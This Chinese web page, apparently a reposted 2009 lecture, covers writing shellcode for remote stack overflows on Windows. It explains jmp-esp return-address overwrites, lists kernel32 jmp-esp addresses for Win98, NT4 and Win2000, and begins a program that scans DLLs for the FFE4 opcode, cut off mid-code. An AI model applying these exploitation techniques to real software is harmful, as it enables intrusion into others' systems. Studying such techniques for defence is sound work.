首页 运维 网络学院 查看内容

window系统下的远程堆栈溢出----shellcode疑难

2009-2-8 07:36 647 0

摘要: 堆栈溢出系列讲座 window系统下的远程堆栈溢出----shellcode疑难问题 下面来写shellcode。针对windows系统缓冲区溢出的特殊性,shellc...
关键词: 地址 dll esp shellcode 堆栈 敌人 时候 指令 函数 dllname

堆栈溢出系列讲座 window系统下的远程堆栈溢出----shellcode疑难问题 下面来写shellcode。针对windows系统缓冲区溢出的特殊性,shellcode有一些新的问题,我采用如下办法来解决: 1)跳转指令地址的问题因为在函数返回的时候,esp都指向返回地址后面的地址。(为什么?因为esp在返回后要指向的地址,就是父函数在压完参数,准备执行call 子函数之前的堆栈顶。) 所以,我们的shellcode的开始位置,就是函数返回的时候,esp所指向的位置。因此,使用jmp esp 就可以跳到我们的shellcode上来。 我们需要作的事情,就是用内存中一个jmp esp指令的地址,来覆盖敌人程序的返回地址。在内存中,当然有很多dll都会有jmp esp指令,我选择了kernel32.dll里面的指令,因为这kernel32.dll是系统核心DLL,加载在比较前面,后面的dll安装地址要随前面dll的变动而变动,为了通用性的考虑,采用KERNEL32.DLL。 那么这些地址就是固定的了: win98下(4.00.2222a),返回地址为:0xbff795a3 winnt4下(4.00.1381),返回地址为:0x77f0eac3 win2000下(5.00.2195),返回地址为:0x77e2e32a 以上地址,我们可以在测试的时候使用,但是,在真正对付敌人的时候,为了区别出选择哪一个地址,就需要首先摸清敌人的操作系统以及dll版本号。这显然是一个相当困难的事情。jmp esp 地址如果不对,敌人的程序就会出现"无效页错误"对话框,并且一定会当掉,所以,在攻击的exploit里面,必须保证jmp esp一次奏效。这一点我还没有想好怎么办。 以下是测试时候使用的代码: #ifdef WIN2000 #define JUMPESP "\x2a\xe3\xe2\x77" #endif #ifdef WINNT4 #define JUMPESP "\xc3\xea\xf0\x77" #endif #ifdef WIN98 #define JUMPESP "\xa3\x95\xf7\xbf" #endif #ifdef EXPLOIT #define JUMPESP "敌人目标程序上的jmp esp地址。" #endif 如果你有softice,可以直接在内存里面搜ffe4。如果没有,绿色兵团的Backend 写过一个小程序可以搜索user32.dll中的FFE4(jmp esp)串。我把他改了一下,可以搜索指定dll中的FFE4。算法如下: /****************************************************************************/ /*ffe4.cpp By Backend */ bool we_loaded_it = false; HINSTANCE h; TCHAR dllname[] = _T("User32"); if(argc>1) { strcpy(dllname,argv[1]); } h = GetModuleHandle(dllname); if(h == NULL) { h = LoadLibrary(dllname); if(h == NULL) { cout<<"ERROR LOADING DLL: "<
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部